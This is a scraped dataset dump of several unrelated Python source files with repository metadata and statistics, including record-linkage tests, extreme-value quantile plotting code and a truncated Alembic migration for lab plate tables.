9f672c1bbb75710ac17dd3d9107da05c8e9e8e8f

[ "BSD-2-Clause", "Apache-2.0" ]

1

2020-02-06T14:29:00.000Z

from ctypes import * s = "tmp" ap = create_string_buffer(s) print type(ap) print type(c_void_p.from_param(ap)) print type(cast(ap, c_char_p))

17.875

35

0.741259

28

143

3.535714

0.607143

0.272727

0.222222

0

0.125874

143

7

36

20.428571

0.792

0

0.020979

0

null

0

0.166667

null

0.5

1

0

null

1

0

1

0

null

0

1

0

1

0

6

f92d1728bec9d3b509bc5af926af706e927377e4

80

py

Python

pysiclib/api/linalg.py

ShameekConyers/sicnumerical

dc5035e5d922cb8e4341c5fbd88adba4f5d09bea

[ "MIT" ]

null

pysiclib/api/linalg.py

ShameekConyers/sicnumerical

dc5035e5d922cb8e4341c5fbd88adba4f5d09bea

[ "MIT" ]

null

pysiclib/api/linalg.py

ShameekConyers/sicnumerical

dc5035e5d922cb8e4341c5fbd88adba4f5d09bea

[ "MIT" ]

null

from .._pysiclib import linalg as _impl_linalg from .._pysiclib.linalg import *

26.666667

46

0.8

11

80

5.454545

0.545455

0.4

0

0.125

80

2

47

40

0.857143

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

0077a1fcd62adc3d1c1934c38ac9190c1d85d2b6

25

py

Python

OOP/welcome.py

Ahmad-Fahad/Python

5a5f8f3395f7085947430b8309f6af70b2e25a77

[ "Apache-2.0" ]

null

OOP/welcome.py

Ahmad-Fahad/Python

5a5f8f3395f7085947430b8309f6af70b2e25a77

[ "Apache-2.0" ]

null

OOP/welcome.py

Ahmad-Fahad/Python

5a5f8f3395f7085947430b8309f6af70b2e25a77

[ "Apache-2.0" ]

null

print "Welcome to Python"

25

0.8

4

25

5

1

0

0.12

25

1

25

0.909091

0

0.653846

0

null

0

null

1

0

null

0

1

0

1

0

null

0

1

0

1

0

6

008b8b986e75215552f445451e82aa92b20fe457

27

py

Python

idevbca/__init__.py

forzadraco/idevbca

c74da4b74ae01c76c5390fe2e7985bec5408144b

[ "MIT" ]

1

2017-12-19T18:53:21.000Z

idevbca/__init__.py

forzadraco/idevbca

c74da4b74ae01c76c5390fe2e7985bec5408144b

[ "MIT" ]

null

idevbca/__init__.py

forzadraco/idevbca

c74da4b74ae01c76c5390fe2e7985bec5408144b

[ "MIT" ]

null

from idevbca.Bca import Bca

27

0.851852

5

27

4.6

0.8

0

0.111111

27

1

27

0.958333

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

00c492e73949906fdce2a39b27d7d8691ead651f

2,653

py

Python

tests/anonlink_test.py

Sam-Gresh/linkage-agent-tools

f405c7efe3fa82d99bc047f130c0fac6f3f5bf82

[ "Apache-2.0" ]

null

tests/anonlink_test.py

Sam-Gresh/linkage-agent-tools

f405c7efe3fa82d99bc047f130c0fac6f3f5bf82

[ "Apache-2.0" ]

null

tests/anonlink_test.py

Sam-Gresh/linkage-agent-tools

f405c7efe3fa82d99bc047f130c0fac6f3f5bf82

[ "Apache-2.0" ]

null

import pytest import os from tinydb import TinyDB, Query from dcctools.anonlink import Results def test_insert_results(): db_location = 'tests/test_db.json' systems = ['a', 'b', 'c'] project = 'name-dob' anonlink_results = {'groups': [[[0, 1], [1, 2], [2, 3]], [[1, 5], [2, 6]], [[0, 8], [2, 9]]]} if os.path.exists(db_location): os.remove(db_location) database = TinyDB(db_location) r = Results(systems, project, anonlink_results) r.insert_results(database) assert len(database) == 3 RecordGroup = Query() doc = database.search(RecordGroup['a'].any([1])) assert doc[0]['b'] == [2] assert doc[0]['c'] == [3] doc = database.search(RecordGroup['b'].any([5])) assert doc[0]['c'] == [6] doc = database.search(RecordGroup['a'].any([8])) assert doc[0]['c'] == [9] def test_insert_conflicting_results_split_group(): db_location = 'tests/test_db.json' systems = ['a', 'b'] project1 = 'name-dob' anonlink_results1 = {'groups': [[[0, 1], [1, 2]], [[0, 8], [1, 9]]]} if os.path.exists(db_location): os.remove(db_location) database = TinyDB(db_location) r = Results(systems, project1, anonlink_results1) r.insert_results(database) assert len(database) == 2 RecordGroup = Query() doc = database.search(RecordGroup['a'].any([1])) assert doc[0]['b'] == [2] doc = database.search(RecordGroup['b'].any([9])) assert doc[0]['a'] == [8] project2 = 'name-sex' anonlink_results2 = {'groups': [[[0, 1], [1, 9]], [[0, 20], [1, 30]]]} r = Results(systems, project2, anonlink_results2) r.insert_results(database) assert len(database) == 2 doc = database.search(RecordGroup['a'].any([1])) assert doc[0]['b'] == [2, 9] def test_insert_conflicting_results_same_group(): db_location = 'tests/test_db.json' systems = ['a', 'b'] project1 = 'name-dob' anonlink_results1 = {'groups': [[[0, 1], [1, 2]], [[0, 8], [1, 9]]]} if os.path.exists(db_location): os.remove(db_location) database = TinyDB(db_location) r = Results(systems, project1, anonlink_results1) r.insert_results(database) assert len(database) == 2 RecordGroup = Query() doc = database.search(RecordGroup['a'].any([1])) assert doc[0]['b'] == [2] doc = database.search(RecordGroup['b'].any([9])) assert doc[0]['a'] == [8] project2 = 'name-sex' anonlink_results2 = {'groups': [[[0, 1], [1, 10]], [[0, 20], [1, 30]]]} r = Results(systems, project2, anonlink_results2) r.insert_results(database) assert len(database) == 3 doc = database.search(RecordGroup['a'].any([1])) assert doc[0]['b'] == [2, 10] assert len(doc[0]['run_results']) == 2

24.118182

58

0.619676

376

2,653

4.257979

0.151596

0.074953

0.062461

0.157402

0.853217

0.846346

0.766396

0.740162

0.718926

0

0.048248

0.171881

2,653

109

59

24.33945

0.680473

0

0.697368

0

0.060686

0

0.210526

1

0.039474

false

0

0.052632

0

0.092105

0

null

0

1

0

null

0

6

00e266b27758bccaaa6aca6e74acbe6b2444e13f

93

py

Python

mlbriefcase/python/__init__.py

Bhaskers-Blu-Org2/Briefcase

f551079b05d3f8494cdff6a0b393969def5a2443

[ "MIT" ]

2

2020-05-04T12:59:05.000Z

2020-05-05T09:31:43.000Z

mlbriefcase/python/__init__.py

Bhaskers-Blu-Org2/Briefcase

f551079b05d3f8494cdff6a0b393969def5a2443

[ "MIT" ]

4

2020-02-05T11:34:51.000Z

2020-02-05T11:35:12.000Z

mlbriefcase/python/__init__.py

microsoft/Briefcase

f551079b05d3f8494cdff6a0b393969def5a2443

[ "MIT" ]

5

2020-06-30T16:02:57.000Z

2021-09-15T06:39:08.000Z

from .sqlalchemy import * from .keyring import * from .jupyterlab_credentialprovider import *

31

44

0.817204

10

93

7.5

0.6

0.266667

0

0.11828

93

3

44

31

0.914634

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

daa690964f4a1bf8e24289407c95e06525ab88a4

44

py

Python

mmcv_custom/__init__.py

MendelXu/mmdetection-1

0501bdf54fc62a04c44b241829af9a8397c45ca9

[ "Apache-2.0" ]

2

2021-06-24T19:36:04.000Z

2021-06-24T20:32:31.000Z

mmcv_custom/__init__.py

MendelXu/mmdetection-1

0501bdf54fc62a04c44b241829af9a8397c45ca9

[ "Apache-2.0" ]

null

mmcv_custom/__init__.py

MendelXu/mmdetection-1

0501bdf54fc62a04c44b241829af9a8397c45ca9

[ "Apache-2.0" ]

1

2021-01-19T05:33:48.000Z

from .fileio import * from .runner import *

14.666667

21

0.727273

6

44

5.333333

0.666667

0

0.181818

44

2

22

0.888889

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

dac0824cb6ab4dfa42fd08ec774aec2cd56bea8c

66

py

Python

inventory/tests.py

ohing504/django-inventory

1a262b826e8e904a7196fe0f0c0645dcd428f3f9

[ "MIT" ]

null

inventory/tests.py

ohing504/django-inventory

1a262b826e8e904a7196fe0f0c0645dcd428f3f9

[ "MIT" ]

2

2020-06-05T17:12:32.000Z

2021-06-10T18:12:45.000Z

inventory/tests.py

ohing504/django-inventory

1a262b826e8e904a7196fe0f0c0645dcd428f3f9

[ "MIT" ]

null

from django.test import TestCase def test_dummy(): assert 1

11

32

0.727273

10

66

4.7

0.9

0

0.019231

0.212121

66

5

33

13.2

0.884615

0

0.333333

1

0.333333

true

0

0.333333

0

0.666667

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

daf2eb8734aa87adedd5d42f9870b8edd5e6a06b

16,037

py

Python

extreme/visualization.py

michael-allouche/refined-weissman

f925acf4953e75d3bc5f6a2fd533a021b2c999d5

[ "MIT" ]

null

extreme/visualization.py

michael-allouche/refined-weissman

f925acf4953e75d3bc5f6a2fd533a021b2c999d5

[ "MIT" ]

null

extreme/visualization.py

michael-allouche/refined-weissman

f925acf4953e75d3bc5f6a2fd533a021b2c999d5

[ "MIT" ]

null

import numpy as np import pandas as pd from extreme.estimators import evt_estimators, real_estimators, list_estimators, ExtremeQuantileEstimator, random_forest_k from extreme.data_management import DataSampler from pathlib import Path import matplotlib.pyplot as plt import seaborn as sns import os def evt_quantile_plot(n_replications, n_data, distribution, params, n_quantile, saved=False): """extreme quantile plot of just the evt estimatorsat level 1/2n for different replications with variance and MSE""" pathdir = Path("ckpt", n_quantile, distribution, "extrapolation", str(params)) pathdir.mkdir(parents=True, exist_ok=True) anchor_points = np.arange(2, n_data) # 1, ..., n-1 if n_quantile == "2n": EXTREME_ALPHA = 1 / (2 * n_data) # extreme alpha elif n_quantile == "n": EXTREME_ALPHA = 1 / (n_data) # extreme alpha else: return "The 'n_quantile' doesn't exist. PLese choose between {'n', '2n'}." data_sampler = DataSampler(distribution=distribution, params=params) real_quantile = data_sampler.ht_dist.tail_ppf(1 / EXTREME_ALPHA) # real extreme quantile try: dict_evt = np.load(Path(pathdir, "evt_estimators_rep{}.npy".format(n_replications)), allow_pickle=True)[()] except FileNotFoundError: dict_evt = evt_estimators(n_replications, n_data, distribution, params, n_quantile, return_full=True) fig, axes = plt.subplots(3, 1, figsize=(15, 3 * 5), sharex=False, squeeze=False) # 3 plots: quantile, var, mse for estimator in dict_evt.keys(): axes[0, 0].plot(anchor_points, dict_evt[estimator]["series"], label="{} (rmse={:.2f})".format(estimator, dict_evt[estimator]["rmse_bestK"], ), linestyle="-.") axes[1, 0].plot(anchor_points, dict_evt[estimator]["var"], label="{} (rmse={:.2f})".format(estimator, dict_evt[estimator]["rmse_bestK"], ), linestyle="-.") axes[2, 0].plot(anchor_points, dict_evt[estimator]["rmse"], label="{} (rmse={:.2f})".format(estimator, dict_evt[estimator]["rmse_bestK"], ), linestyle="-.") axes[0, 0].hlines(y=real_quantile, xmin=0., xmax=n_data, label="reference line", color="black", linestyle="--") axes[0, 0].legend() axes[0, 0].spines["left"].set_color("black") axes[0, 0].spines["bottom"].set_color("black") # title / axis axes[0, 0].set_xlabel(r"anchor point $k$") axes[0, 0].set_ylabel("quantile") axes[0, 0].set_title("Bias estimator") axes[1, 0].set_xlabel(r"anchor point $k$") axes[1, 0].set_ylabel("variance") axes[1, 0].set_title("Variance estimator") axes[1, 0].spines["left"].set_color("black") axes[1, 0].spines["bottom"].set_color("black") axes[2, 0].set_xlabel(r"anchor point $k$") axes[2, 0].set_ylabel("RMSE") axes[2, 0].set_title("RMSE estimator") axes[2, 0].spines["left"].set_color("black") axes[2, 0].spines["bottom"].set_color("black") # y_lim # axes[0, 0].set_ylim(real_quantile*0.8, real_quantile*1.2) # 100 axes[0, 0].set_ylim(real_quantile*0.5, real_quantile*2) #real_quantile*3) # QUANTILE axes[1, 0].set_ylim(np.min(dict_evt["CW"]["var"]) * 0.5, np.min(dict_evt["CW"]["var"]) * 2) # VARIANCE # axes[1, 0].set_ylim(0, 22) # VARIANCE axes[2, 0].set_ylim(0, 1) # MSE fig.tight_layout() fig.suptitle("Estimator plot \n{}: {}".format(distribution.upper(), str(params).upper()), fontweight="bold", y=1.04) sns.despine() if saved: pathdir = Path("imgs") pathdir.mkdir(parents=True, exist_ok=True) filename = "simulations-{}-{}-{}-{}-{}-".format(distribution, params, n_replications, n_data, n_quantile) # plt.savefig(pathdir / "{}.eps".format(filename), format="eps") plt.savefig(pathdir / "{}.jpg".format(filename)) return def evt_quantile_plot_paper(n_replications, n_data, distribution, params, n_quantile, plot_type, saved=False): """extreme quantile plot of just the evt estimatorsat level 1/2n for different replications with variance and MSE""" # LIST_ESTIMATORS_PAPER = ["W", "RW", "CW", "CHps", "PRBps"] LIST_ESTIMATORS_PAPER = ["W", "RW"] pathdir = Path("ckpt", n_quantile, distribution, "extrapolation", str(params)) pathdir.mkdir(parents=True, exist_ok=True) anchor_points = np.arange(2, n_data) # 1, ..., n-1 if n_quantile == "2n": EXTREME_ALPHA = 1 / (2 * n_data) # extreme alpha elif n_quantile == "n": EXTREME_ALPHA = 1 / (n_data) # extreme alpha else: return "The 'n_quantile' doesn't exist. PLese choose between {'n', '2n'}." data_sampler = DataSampler(distribution=distribution, params=params) real_quantile = data_sampler.ht_dist.tail_ppf(1 / EXTREME_ALPHA) # real extreme quantile try: dict_evt = np.load(Path(pathdir, "evt_estimators_rep{}.npy".format(n_replications)), allow_pickle=True)[()] except FileNotFoundError: dict_evt = evt_estimators(n_replications, n_data, distribution, params, n_quantile, return_full=True) fig, axes = plt.subplots(1, 1, figsize=(15, 7), sharex=False, squeeze=False) for estimator in LIST_ESTIMATORS_PAPER: if plot_type == "bias": axes[0, 0].plot(anchor_points, dict_evt[estimator]["series"], linestyle="-", linewidth=2) axes[0, 0].hlines(y=real_quantile, xmin=0., xmax=n_data, color="black", linestyle="--", linewidth=2) elif plot_type == "rmse": axes[0, 0].plot(anchor_points, dict_evt[estimator]["rmse"], linestyle="-", linewidth=2) axes[0, 0].spines["left"].set_color("black") axes[0, 0].spines["bottom"].set_color("black") plt.xticks(fontsize=20) plt.yticks(fontsize=20) if plot_type == "bias": axes[0, 0].set_ylim(real_quantile * 0.95, real_quantile * 1.2) # real_quantile*3) # QUANTILE elif plot_type == "rmse": axes[0, 0].set_ylim(0, .2) # MSE fig.tight_layout() sns.despine() if saved: pathdir = Path("imgs") pathdir.mkdir(parents=True, exist_ok=True) filename = "{}-{}-{}-{}-{}-{}-".format(plot_type, distribution, params, n_replications, n_data, n_quantile) plt.savefig(pathdir / "{}.eps".format(filename), format="eps") return def evt_hill_plot(n_replications, n_data, distribution, params, n_quantile, saved=False): sns.set_style("whitegrid", {'grid.linestyle': '--'}) pathdir = Path("ckpt", n_quantile, distribution, "extrapolation", str(params)) pathdir.mkdir(parents=True, exist_ok=True) anchor_points = np.arange(2, n_data) # 1, ..., n-1 if n_quantile == "2n": EXTREME_ALPHA = 1 / (2 * n_data) # extreme alpha elif n_quantile == "n": EXTREME_ALPHA = 1 / (n_data) # extreme alpha else: return "The 'n_quantile' doesn't exist. PLese choose between {'n', '2n'}." data_sampler = DataSampler(distribution=distribution, params=params) X_order = data_sampler.simulate_quantiles(n_data, seed=1) # new quantiles X_1,n, ..., X_n,n fig, axes = plt.subplots(1, 1, figsize=(15, 7), sharex=False, squeeze=False) # 3 plots: quantile, var, mse evt_estimators = ExtremeQuantileEstimator(X=X_order, alpha=EXTREME_ALPHA) anchor_points = np.arange(2, n_data) # 2, ..., n-1 hill_gammas = [evt_estimators.hill(k_anchor) for k_anchor in anchor_points] bestK = random_forest_k(np.array(hill_gammas), n_forests=10000, seed=42) k_prime = evt_estimators.get_kprime_rw(n_data-1)[0] anchor_points_prime = np.arange(2, int(k_prime)+1) hill_gammas_prime = [evt_estimators.hill(k_anchor) for k_anchor in anchor_points_prime] axes[0, 0].plot(anchor_points, hill_gammas, color="black") # axes[0, 0].scatter(bestK , hill_gammas[bestK], s=200, color="red", marker="^") axes[0, 0].plot(anchor_points_prime, hill_gammas_prime, color="red") axes[0, 0].hlines(y=params["evi"], xmin=0., xmax=n_data, color="black", linestyle="--") axes[0, 0].spines["left"].set_color("black") axes[0, 0].spines["bottom"].set_color("black") plt.xticks(fontsize=20) plt.yticks(fontsize=20) # y_lim # axes[0, 0].set_ylim(params["evi"] * 0.4, params["evi"] * 2.5) # 100 axes[0, 0].set_ylim(params["evi"] * 0.4, params["evi"] * 2.5) # 100 fig.tight_layout() sns.despine() if saved: pathdir = Path("imgs") pathdir.mkdir(parents=True, exist_ok=True) plt.savefig(pathdir / "hill_plot_evt.eps", format="eps") filename = "hill-{}-{}-{}-{}-{}-".format(distribution, params, n_replications, n_data, n_quantile) plt.savefig(pathdir / "{}.eps".format(filename), format="eps") return # ==================================================================================================================== # Real plot # --------- def real_quantile_plot(saved=False): sns.set_style("whitegrid", {'grid.linestyle': '--'}) fig, axes = plt.subplots(1, 1, figsize=(15, 7), sharex=False, squeeze=False) # 3 plots: quantile, var, mse X = pd.read_csv(Path(os.getcwd(), 'dataset', "besecura.txt"), sep='\t').loc[:, 'Loss'].to_numpy() # read data X_order = np.sort(X) n_data = len(X_order) anchor_points = np.arange(2, n_data) # 2, ..., n-1 real_quantile = X_order[-1] # real extreme quantile at order 1/n dict_evt = real_estimators(return_full=True) # plot EVT estimator for estimator in list_estimators: # list_estimators (all estimators) lab ="{} (k={}, q={:.2f})".format(estimator, int(dict_evt[estimator]["bestK"][0]), np.array(dict_evt[estimator]["q_bestK"]).ravel()[0]) axes[0, 0].plot(anchor_points, np.array(dict_evt[estimator]["series"]).ravel(), label=lab) axes[0, 0].scatter(dict_evt[estimator]["bestK"], dict_evt[estimator]["q_bestK"], s=100) # plot reference line axes[0, 0].hlines(y=real_quantile, xmin=0., xmax=n_data, color="black", linestyle="--") # label="reference line (q={:.2f})".format(float(real_quantile)) axes[0, 0].legend() axes[0, 0].spines["left"].set_color("black") axes[0, 0].spines["bottom"].set_color("black") # y_lim axes[0, 0].set_ylim(real_quantile * 0.7, real_quantile * 1.6) # 100 plt.xticks(fontsize=20) plt.yticks(fontsize=20) axes[0, 0].yaxis.offsetText.set_fontsize(18) fig.tight_layout() sns.despine() if saved: pathdir = Path("imgs") pathdir.mkdir(parents=True, exist_ok=True) # plt.savefig(pathdir / "quantile_plot_real.eps", format="eps") plt.savefig(pathdir / "quantile_plot_real.jpg") return def real_quantile_plot_paper(saved=False): sns.set_style("whitegrid", {'grid.linestyle': '--'}) fig, axes = plt.subplots(1, 1, figsize=(15, 7), sharex=False, squeeze=False) # 3 plots: quantile, var, mse X = pd.read_csv(Path(os.getcwd(), 'dataset', "besecura.txt"), sep='\t').loc[:, 'Loss'].to_numpy() # read data X_order = np.sort(X) n_data = len(X_order) EXTREME_ALPHA = 1/n_data anchor_points = np.arange(2, n_data) # 2, ..., n-1 real_quantile = X_order[-int(EXTREME_ALPHA*n_data)] # real extreme quantile at order 1/n dict_evt = real_estimators(return_full=True) axes[0, 0].plot(anchor_points, np.array(dict_evt["RW"]["series"]).ravel(), color="C1") axes[0, 0].scatter(dict_evt["RW"]["bestK"], dict_evt["RW"]["q_bestK"], s=200, marker="^", color="C1") axes[0, 0].plot(anchor_points, np.array(dict_evt["CW"]["series"]).ravel(), color="C2") axes[0, 0].scatter(dict_evt["CW"]["bestK"], dict_evt["CW"]["q_bestK"], s=200,marker="^", color="C2") # plot reference line axes[0, 0].hlines(y=real_quantile, xmin=0., xmax=n_data, color="black", linestyle="--") # label="reference line (q={:.2f})".format(float(real_quantile)) # axes[0, 0].legend() axes[0, 0].spines["left"].set_color("black") axes[0, 0].spines["bottom"].set_color("black") # y_lim axes[0, 0].set_ylim(real_quantile * 0.7, real_quantile * 1.6) # 100 plt.xticks(fontsize=20) plt.yticks(np.arange(0.6, 1.3, 0.1)*1e7, labels=[0.6, 0.7,0.8,0.9,1., 1.1, 1.2], fontsize=20) fig.tight_layout() sns.despine() if saved: pathdir = Path("imgs") pathdir.mkdir(parents=True, exist_ok=True) plt.savefig(pathdir / "quantile_plot_real.eps", format="eps") return def real_hill_plot(saved=False): sns.set_style("whitegrid", {'grid.linestyle': '--'}) fig, axes = plt.subplots(1, 1, figsize=(15, 7), sharex=False, squeeze=False) # 3 plots: quantile, var, mse X = pd.read_csv(Path(os.getcwd(), 'dataset', "besecura.txt"), sep='\t').loc[:, 'Loss'].to_numpy() # read data X_order = np.sort(X) n_data = len(X_order) EXTREME_ALPHA = 1 / n_data evt_estimators = ExtremeQuantileEstimator(X=X_order, alpha=EXTREME_ALPHA) anchor_points = np.arange(2, n_data) # 2, ..., n-1 hill_gammas = [evt_estimators.hill(k_anchor) for k_anchor in anchor_points] k_prime = evt_estimators.get_kprime_rw(n_data-1)[0] anchor_points_prime = np.arange(2, int(k_prime)+1) hill_gammas_prime = [evt_estimators.hill(k_anchor) for k_anchor in anchor_points_prime] bestK = random_forest_k(np.array(hill_gammas_prime), n_forests=10000, seed=42) axes[0, 0].plot(anchor_points, hill_gammas, color="black") axes[0, 0].scatter(bestK, hill_gammas[bestK -1], s=200, color="red", marker="^") axes[0, 0].plot(anchor_points_prime, hill_gammas_prime, color="red") axes[0, 0].spines["left"].set_color("black") axes[0, 0].spines["bottom"].set_color("black") plt.xticks(fontsize=20) plt.yticks(fontsize=20) fig.tight_layout() sns.despine() if saved: pathdir = Path("imgs") pathdir.mkdir(parents=True, exist_ok=True) plt.savefig(pathdir / "hill_plot_real.eps", format="eps") return def real_loglog_plot(saved=False): sns.set_style("whitegrid", {'grid.linestyle': '--'}) fig, axes = plt.subplots(1, 1, figsize=(15, 7), sharex=False, squeeze=False) # 3 plots: quantile, var, mse X = pd.read_csv(Path(os.getcwd(), 'dataset', "besecura.txt"), sep='\t').loc[:, 'Loss'].to_numpy() # read data X_order = np.sort(X) n_data = len(X_order) K_STAR = 68 anchor_points = np.arange(2, n_data) # 2, ..., n-1 i_points = np.arange(1, K_STAR) y = np.log(X_order[-i_points]) - np.log(X_order[-K_STAR]) X = np.log(K_STAR / i_points) EXTREME_ALPHA = 1 / n_data evt_estimators = ExtremeQuantileEstimator(X=X_order, alpha=EXTREME_ALPHA) hill_gammas = [evt_estimators.hill(k_anchor) for k_anchor in anchor_points] gamma = hill_gammas[K_STAR -1] axes[0, 0].scatter(X, y, s=100, color="black", marker="+") axes[0, 0].plot(X, X * gamma, color="red") axes[0, 0].spines["left"].set_color("black") axes[0, 0].spines["bottom"].set_color("black") plt.xticks(fontsize=20) plt.yticks(fontsize=20) fig.tight_layout() sns.despine() if saved: pathdir = Path("imgs") pathdir.mkdir(parents=True, exist_ok=True) plt.savefig(pathdir / "loglog_plot_real.eps", format="eps") return def real_hist_plot(saved=False): X = pd.read_csv(Path(os.getcwd(), 'dataset', "besecura.txt"), sep='\t').loc[:, 'Loss'].to_numpy() # read data h = sns.displot(data=X, aspect=2, height=10) h.set(ylabel=None) # remove the axis label plt.xticks(fontsize=20) plt.yticks(fontsize=20) h.set(xticks=[1e6, 2e6, 3e6, 4e6, 5e6, 6e6, 7e6, 8e6]) h.set_xticklabels(np.arange(1, 9, 1)) sns.despine() if saved: pathdir = Path("imgs") pathdir.mkdir(parents=True, exist_ok=True) # plt.savefig(pathdir / "hist_real.eps", format="eps") plt.savefig(pathdir / "hist_real.jpg") return

41.763021

143

0.632724

2,312

16,037

4.213235

0.103374

0.026178

0.031414

0.017247

0.843753

0.806693

0.781645

0.760189

0.711118

0.702803

0

0.032556

0.189811

16,037

383

144

41.872063

0.717155

0.110432

0

0.679104

0

0.10227

0.008387

0

1

0.029851

false

0

0.029851

0

0.100746

0

null

0

1

0

null

0

6

970414a6073eb0de51b86435d1c2b4a7a6be5bf9

131

py

Python

Licence 1/I11/TP2/tp2_6_2.py

axelcoezard/licence

1ed409c4572dea080169171beb7e8571159ba071

[ "MIT" ]

8

2020-11-26T20:45:12.000Z

2021-11-29T15:46:22.000Z

Licence 1/I11/TP2/tp2_6_2.py

axelcoezard/licence

1ed409c4572dea080169171beb7e8571159ba071

[ "MIT" ]

null

Licence 1/I11/TP2/tp2_6_2.py

axelcoezard/licence

1ed409c4572dea080169171beb7e8571159ba071

[ "MIT" ]

6

2020-10-23T15:29:24.000Z

2021-05-05T19:10:45.000Z

for j in range(1, 11): print("La table de", j) for i in range(1, 11): print(i, "*", j, "=", i * j) print("\n")

21.833333

36

0.442748

24

131

2.416667

0.5

0.241379

0.275862

0.344828

0.517241

0

0.067416

0.320611

131

5

37

26.2

0.58427

0

0.114504

0

1

0

false

0

0.6

1

0

null

1

0

1

0

null

0

1

0

6

97577a97d2bc041ac0711f0e69fc8d45f32eeda9

11,102

py

Python

migrations/versions/67476b337962_added_more_ytk_plate.py

charlestondance/amoslims

c1d051db3e88a92644446744a9027c5699f52b02

[ "MIT" ]

null

migrations/versions/67476b337962_added_more_ytk_plate.py

charlestondance/amoslims

c1d051db3e88a92644446744a9027c5699f52b02

[ "MIT" ]

7

2020-03-24T15:56:29.000Z

2022-01-13T00:48:15.000Z

migrations/versions/67476b337962_added_more_ytk_plate.py

charlestondance/amoslims

c1d051db3e88a92644446744a9027c5699f52b02

[ "MIT" ]

null

"""added more ytk plate Revision ID: 67476b337962 Revises: 29b76ed5358c Create Date: 2017-03-17 17:25:56.039832 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '67476b337962' down_revision = '29b76ed5358c' branch_labels = None depends_on = None def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.create_table('ytk_job_master_level2', sa.Column('id', sa.Integer(), nullable=False), sa.Column('unique_job_id', sa.String(length=64), nullable=True), sa.Column('part_id', sa.String(length=64), nullable=True), sa.Column('job_master2_well_id', sa.String(length=64), nullable=True), sa.Column('job_master2_barcode', sa.String(length=64), nullable=True), sa.Column('sample_number', sa.Integer(), nullable=True), sa.Column('uploaded_filename', sa.String(length=64), nullable=True), sa.Column('level1clone_plate_barcode', sa.String(length=64), nullable=True), sa.Column('level1clone_location_id', sa.String(length=64), nullable=True), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_ytk_job_master_level2_job_master2_barcode'), 'ytk_job_master_level2', ['job_master2_barcode'], unique=False) op.create_index(op.f('ix_ytk_job_master_level2_job_master2_well_id'), 'ytk_job_master_level2', ['job_master2_well_id'], unique=False) op.create_index(op.f('ix_ytk_job_master_level2_level1clone_location_id'), 'ytk_job_master_level2', ['level1clone_location_id'], unique=False) op.create_index(op.f('ix_ytk_job_master_level2_level1clone_plate_barcode'), 'ytk_job_master_level2', ['level1clone_plate_barcode'], unique=False) op.create_index(op.f('ix_ytk_job_master_level2_part_id'), 'ytk_job_master_level2', ['part_id'], unique=False) op.create_index(op.f('ix_ytk_job_master_level2_sample_number'), 'ytk_job_master_level2', ['sample_number'], unique=False) op.create_index(op.f('ix_ytk_job_master_level2_unique_job_id'), 'ytk_job_master_level2', ['unique_job_id'], unique=False) op.create_index(op.f('ix_ytk_job_master_level2_uploaded_filename'), 'ytk_job_master_level2', ['uploaded_filename'], unique=False) op.create_table('ytk_stitch_clone', sa.Column('id', sa.Integer(), nullable=False), sa.Column('unique_job_id', sa.String(length=64), nullable=True), sa.Column('clone_plate_well_id_96', sa.String(length=64), nullable=True), sa.Column('well_number_96', sa.Integer(), nullable=True), sa.Column('stitch_well_id', sa.String(length=64), nullable=True), sa.Column('stitch_plate_barcode', sa.String(length=64), nullable=True), sa.Column('clone_plate_barcode', sa.String(length=64), nullable=True), sa.Column('stitch_id', sa.String(length=64), nullable=True), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_ytk_stitch_clone_clone_plate_barcode'), 'ytk_stitch_clone', ['clone_plate_barcode'], unique=False) op.create_index(op.f('ix_ytk_stitch_clone_clone_plate_well_id_96'), 'ytk_stitch_clone', ['clone_plate_well_id_96'], unique=False) op.create_index(op.f('ix_ytk_stitch_clone_stitch_id'), 'ytk_stitch_clone', ['stitch_id'], unique=False) op.create_index(op.f('ix_ytk_stitch_clone_stitch_plate_barcode'), 'ytk_stitch_clone', ['stitch_plate_barcode'], unique=False) op.create_index(op.f('ix_ytk_stitch_clone_stitch_well_id'), 'ytk_stitch_clone', ['stitch_well_id'], unique=False) op.create_index(op.f('ix_ytk_stitch_clone_unique_job_id'), 'ytk_stitch_clone', ['unique_job_id'], unique=False) op.create_index(op.f('ix_ytk_stitch_clone_well_number_96'), 'ytk_stitch_clone', ['well_number_96'], unique=False) op.create_table('ytk_stitch_enzyme', sa.Column('id', sa.Integer(), nullable=False), sa.Column('unique_job_id', sa.String(length=64), nullable=True), sa.Column('stitch_well_id', sa.String(length=64), nullable=True), sa.Column('stitch_barcode', sa.String(length=64), nullable=True), sa.Column('stitch_id', sa.String(length=64), nullable=True), sa.Column('transfer_volume', sa.Integer(), nullable=True), sa.Column('enzyme_plate_barcode', sa.String(length=64), nullable=True), sa.Column('enzyme_plate_well_id', sa.String(length=64), nullable=True), sa.Column('enzyme_plate_number', sa.String(length=64), nullable=True), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_ytk_stitch_enzyme_enzyme_plate_barcode'), 'ytk_stitch_enzyme', ['enzyme_plate_barcode'], unique=False) op.create_index(op.f('ix_ytk_stitch_enzyme_enzyme_plate_number'), 'ytk_stitch_enzyme', ['enzyme_plate_number'], unique=False) op.create_index(op.f('ix_ytk_stitch_enzyme_enzyme_plate_well_id'), 'ytk_stitch_enzyme', ['enzyme_plate_well_id'], unique=False) op.create_index(op.f('ix_ytk_stitch_enzyme_stitch_barcode'), 'ytk_stitch_enzyme', ['stitch_barcode'], unique=False) op.create_index(op.f('ix_ytk_stitch_enzyme_stitch_id'), 'ytk_stitch_enzyme', ['stitch_id'], unique=False) op.create_index(op.f('ix_ytk_stitch_enzyme_stitch_well_id'), 'ytk_stitch_enzyme', ['stitch_well_id'], unique=False) op.create_index(op.f('ix_ytk_stitch_enzyme_transfer_volume'), 'ytk_stitch_enzyme', ['transfer_volume'], unique=False) op.create_index(op.f('ix_ytk_stitch_enzyme_unique_job_id'), 'ytk_stitch_enzyme', ['unique_job_id'], unique=False) op.create_table('ytk_stitch_list', sa.Column('id', sa.Integer(), nullable=False), 